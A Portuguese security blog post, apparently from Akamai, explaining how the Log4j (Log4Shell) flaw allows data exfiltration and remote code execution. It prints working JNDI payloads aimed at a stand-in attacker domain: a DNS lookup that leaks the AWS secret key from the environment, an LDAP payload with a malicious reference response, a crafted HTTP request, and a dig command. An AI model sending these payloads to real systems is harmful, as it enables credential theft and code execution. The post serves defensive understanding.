Uma retrospectiva do Log4j parte 2: Exfiltração de dados e explorações de execução remota de código

Neste exemplo, imagine que o invasor tenha o nome de domínio: malware.example.

Nota: Usamos um nome de domínio de nível superior de .example para evitar referenciar um nome de domínio real neste documento, mas o leitor deve imaginar que o nome pode ser substituído por qualquer nome de domínio que um invasor possa comprar.

Em seguida, imagine que um invasor de alguma forma tenha a capacidade de manipular o texto que é enviado ao Log4j.  Abordaremos como isso pode ocorrer mais adiante neste post. Neste exemplo, vamos supor que o texto tenha a seguinte aparência:

"Registre isso: ${jndi:dns://127.0.0.1:53/${env:USER}.malware.example}”

Seguindo os princípios de aninhamento descritos anteriormente, o Log4j primeiro avaliaria ${env:USER}, resultando em uma pesquisa do usuário que está executando o software. Vamos imaginar novamente que isso é o Administrador. Em seguida, o Log4j substituiria isso de volta ao texto, gerando esta linha provisória de log:

"Registre isso: ${jndi:dns://127.0.0.1:53/Administrator.malware.example}”

Esta linha ainda contém uma expressão de pesquisa:

${jndi:dns://127.0.0.1:53/Administrator.malware.example}

o Log4j vê esta expressão de pesquisa baseada em JNDI, analisa a pseudo URL de dns://127.0.0.1:53/Administrator.malware.examplee o passa para JNDI. A JNDI reconhece que essa pseudo URL exige o provedor de DNS e realiza uma pesquisa de DNS usando o resolvedor de host local para Administrator.malware.example.

Porque malware.example é de propriedade do agente mal-intencionado, a consulta DNS por Administrator.malware.example alcançará seu servidor DNS autoritativo. Observando a consulta de DNS, a parte mal-intencionada descobriu que o software que utiliza o código Log4j vulnerável está sendo executado como o usuário Administrator.

Isso ilustra como os dados podem facilmente vazar de um ambiente se cargas úteis cuidadosamente criadas forem fornecidas ao Log4j. E, embora o vazamento do usuário atual em execução já seja ruim, há informações muito piores e mais secretas suscetíveis a isso.

Como um exemplo (e esse chegou a ser observado de fato), considere o que acontece se mudarmos ${env:USER} acima para ${env:AWS_SECRET_ACCESS_KEY}, gerando a seguinte cadeia de caracteres:

"Registre isso: ${jndi:dns://127.0.0.1:53/${env:AWS_SECRET_ACCESS_KEY}.malware.example}”

Seguindo a lógica anterior, isso resultaria em uma consulta de DNS que chega ao servidor DNS autoritativo do criminoso, que contém a chave de acesso secreta da AWS para o ambiente Amazon no qual o código Log4j está sendo executado. Vazamento de informações como este pode fazer com que as instâncias da AWS sejam dominadas.

Literalmente qualquer informação que esteja no ambiente do software que executa o código vulnerável que pode ser acessado por meio de uma expressão de pesquisa Log4j pode ser facilmente aninhada e coagida para chegar a um sistema controlado pelo criminoso.

E, embora isso por si só já seja horrível, ainda pode piorar muito.

Execução remota de código 

A implementação do JNDI em algumas versões do Java por padrão permite que alguns serviços de diretório respondam a consultas, direta e indiretamente, com código remoto que a máquina de consulta executa localmente.

Por exemplo, o provedor de serviços de diretório LDAP em instalações vulneráveis permite que um servidor LDAP responda a uma consulta com o que é conhecido como uma referência. Esta referência lista o local remoto do código a ser baixado e executado localmente.

Embora isso possa parecer louco no início, existem usos válidos para isso em ambientes altamente controlados onde o servidor LDAP e a infraestrutura associada são confiáveis. Os problemas ocorrem quando um invasor consegue direcionar a máquina solicitante para um servidor LDAP não confiável que ele controla. Depois disso, o invasor pode retornar referências ao código mal-intencionado que o JNDI baixará e executará na máquina host.

Como as instâncias vulneráveis do Log4j permitem acesso ilimitado ao JNDI por meio de expressões de pesquisa, o carregamento e a execução de código remoto podem ser obtidos por meio de linhas de log cuidadosamente criadas. Considere a seguinte mensagem enviada ao Log4j:

"Registre isso: ${jndi:ldap://rce.malware.example/a}”

Em sistemas vulneráveis, o Log4j vê a expressão de pesquisa ${jndi:ldap://rce.malware.example/a} e extrair a pseudo URL do JNDI, ldap://rce.malware.example/a, passando-o para o JNDI para processamento. O JNDI vê que essa URL está utilizando o provedor de serviços de diretório LDAP e emite uma consulta LDAP para o website rce.malware.example .

Como rce.malware.example é de propriedade da parte mal-intencionada e operada por ela, ela envia de volta uma carga útil de referência como a resposta LDAP semelhante a esta:

dn:

javaClassName: exploit

javaCodeBase: http://rce.malware.com/exploit/

objectClass: javaNamingReference

javaFactory: exploitFactory

O JNDI, ao receber essa resposta, acessa a URL do servidor da Web de http://rce.malware.com/exploit/ e baixa a carga útil de execução remota de código mal-intencionado associada e, por fim, executa-a no sistema que está executando o Log4j.

Superfície de ameaça

Todos esses ataques horríveis exigem que mensagens especialmente criadas sejam passadas para o Log4j. Portanto, uma pergunta óbvia é: como um invasor consegue fazer isso?  A resposta é aproveitar qualquer oportunidade em que as informações que eles fornecem possam ser registradas.

Atualmente, o vetor de ataque mais comum é contra aplicações baseadas na Web. Muitas dessas aplicações registram interações com usuários finais que estão visitando o website. Eles podem, por exemplo, registrar o caminho solicitado, juntamente com o agente do usuário, a hora e o resultado da solicitação.

Sabendo disso, um adversário pode se conectar a uma aplicação Web e emitir uma solicitação como:

GET /${jndi:ldap://rce.malware.example/a} HTTP/1.1

Host: www.webapp.example

User-Agent: ${jndi:dns://127.0.0.1:53/${env:AWS_SECRET_ACCESS_KEY}.malware.example}

A aplicação Web, ao receber a solicitação, analisará o caminho de /${jndi:ldap://rce.malware.example/a} e o agente do usuário de ${jndi:dns://127.0.0.1:53/${env:AWS_SECRET_ACCESS_KEY}.malware.example}e enviará ambos ao Log4j. Se isso for feito em um sistema vulnerável, a chave de acesso secreta da AWS vazará junto com o código arbitrário que está sendo baixado e executado.

Embora seja verdade que as aplicações baseadas na Web estejam sendo direcionadas muito mais do que qualquer outra coisa, é extremamente importante lembrar que qualquer serviço que atenda aos seguintes critérios pode ser explorado:

• executa Java

• utiliza uma versão vulnerável do Log4j para registrar mensagens

• registra algo que o invasor fornece (URLs, cabeçalhos, cookies, consultas etc.)

Nesse sentido, outro vetor que a Akamai está observando no cenário, embora a uma taxa muito menor do que a variante de aplicação da Web, é contra o DNS. Na tentativa de verificar se há qualquer resolvedor de DNS vulnerável, os invasores estão emitindo consultas de DNS com cargas úteis exploráveis incorporadas. Isso pode ser tão simples quanto emitir a seguinte pesquisa de DNS a partir da linha de comando:

# dig '${jndi:ldap://rce.malware.example/a}.foo.example'

Isso instrui o sistema no qual o comando é executado a emitir uma consulta de DNS para o resolvedor configurado do host para a própria cadeia de pesquisa do Log4j. Um resolvedor de DNS que recebe essa consulta pode registrá-la, especialmente porque contém caracteres inválidos. Se esse resolvedor de DNS for baseado em Java e usar uma versão de biblioteca do Log4j vulnerável para registro em log, o exploit será executado.

Esse ataque não se limita à consulta. Outra abordagem que a Akamai está monitorando é a carga que está sendo incorporada em uma resposta de DNS. Muitas consultas de DNS podem resultar em respostas que contêm informações que não sejam endereços IP, como CNAME, TXT, SRV e PTR. Estamos vendo evidências de que os invasores estão manipulando registros de resposta que eles possuem para incorporar strings exploráveis, atacando resolvedores no lado da resposta, bem como aplicações que podem registrar os resultados dessas pesquisas.

E isso só arranha a superfície usando protocolos de Internet bem conhecidos. A superfície de ameaça se estende muito além desses casos de uso. Na verdade, os pesquisadores de segurança recentemente mostraram que renomear um iPhone para uma sequência de exploração Log4j suscetível fez com que servidores na infraestrutura da Apple emitissem o ping de volta, indicando que máquinas vulneráveis processaram o nome do telefone.

Para entender quão ruim é essa vulnerabilidade, devemos considerar que o Java é executado em bilhões de dispositivos em todo o mundo e que o Log4j é uma das bibliotecas de registro mais usadas para ele.  Tudo, desde servidores da Web até máquinas de venda automática, pode estar vulnerável e, no caso de dispositivos embarcados e de IoT, muitos podem nem mesmo ter a capacidade de receber patches.

Na verdade, a superfície de ameaça é composta não apenas pelo número absoluto de dispositivos expostos a esse ataque, mas também pelo tempo que eles ficarão expostos. A combinação da grande área ocupada com a falta de correção de alguns componentes significa que essa vulnerabilidade provavelmente estará conosco não apenas por vários meses, mas potencialmente por anos, e irá superar vulnerabilidades bem divulgadas, como Shellshock e Heartbleed, tanto no tamanho da superfície de ataque quanto no impactos.

O que está por vir

Fique atento à parte 3, que detalhará a evolução dos ataques e as atenuações disponíveis para proteger sua organização nesse ambiente em evolução.